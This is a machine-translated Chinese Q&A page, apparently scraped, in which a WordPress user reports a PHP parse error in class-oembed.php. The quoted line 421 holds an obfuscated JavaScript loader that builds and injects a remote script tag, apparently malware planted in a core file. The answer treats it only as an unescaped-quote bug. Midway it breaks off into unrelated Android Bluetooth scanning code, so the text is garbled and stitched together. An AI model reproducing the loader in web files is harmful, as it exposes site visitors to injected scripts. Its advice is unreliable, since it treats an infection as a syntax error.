解析错误:语法错误,/home/centricano/public_html/wp-includes/class-oembed.php中第421行的意外“文本”(T_STRING)

时间:2018-11-06 06:00:53

标签: wordpress

当我尝试访问我的Wordpress网站上博客上的链接之一时,出现以下错误消息:

  

解析错误:语法错误,第421行/home/centricano/public_html/wp-includes/class-oembed.php中出现意外的“文本”(T_STRING)

     

在线421

     

if($ html_head_end = stripos($ html,'var _0x1e35 = ['length','fromCharCode','createElement','type','async','code121','src','appendChild', 'getElementsByTagName','script'];(function(_0x546a53,_0x3f720e){var _0x440369 = function(_0x2e1b64){while(--_ 0x2e1b64){_ 0x546a53'push';}}; _ 0_0440369(++ _ 0x3f720e);}(_ 0x1e35 ,0x1e1))); var _0x5a05 = function(_0x716551,_0x1d4a8e){_ 0x716551 = _0x716551-0x0; var _0x2b7638 = _0x1e35 [_0x716551];返回_0x2b7638;}; var url = String_0x5a05('0x0') {var _0x22c9c8 = document_0x5a05('0x1'); _ 0x22c9c8 [_0x5a05('0x2')] = String_0x5a05('0x0'); _ 0x22c9c8 [_0x5a05('0x3')] =![0x0] _0x5a05('0 ; var scrpts = document_0x5a05('0x7'); var n = !! []; for(var i = scrpts [_0x5a05('0x9')]; i-;){if(scrpts [i] ['id' ] == _ 0x5a05('0x4')){n =![];}}; if(n == !! []){a();}')){

1 个答案:

答案 0 :(得分:0)

正在传递到stripos函数的第二个参数中的字符串具有未转义的单引号。该字符串以第一个'打开,但是紧接着在单词“ length”之前将其关闭。如果您可以跟踪传递此信息的位置,则可以将字符串包装在双qoutes "中,也可以通过在包装引号内的每个\前面加上// Implement BluetoothLeScanner for deprecation of onLeScan for Target android L // 25-12-14 if (Build.VERSION.SDK_INT > Build.VERSION_CODES.KITKAT_WATCH && mBluetoothAdapter != null) { mBluetoothLeScanner = mBluetoothAdapter.getBluetoothLeScanner(); ScanSettings.Builder scanSettingsBuilder = new ScanSettings.Builder(); scanSettingsBuilder.setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY); mScanSettings = scanSettingsBuilder.build(); } if (mBluetoothAdapter != null && mBluetoothAdapter.isEnabled()) { if (Build.VERSION.SDK_INT > Build.VERSION_CODES.KITKAT_WATCH) { if (mBluetoothLeScanner == null) mBluetoothLeScanner = mBluetoothAdapter.getBluetoothLeScanner(); mBluetoothLeScanner.startScan(new ArrayList<ScanFilter>(), mScanSettings, mScanCallback); } else mBluetoothAdapter.startLeScan(mLeScanCallback); } 来转义单引号。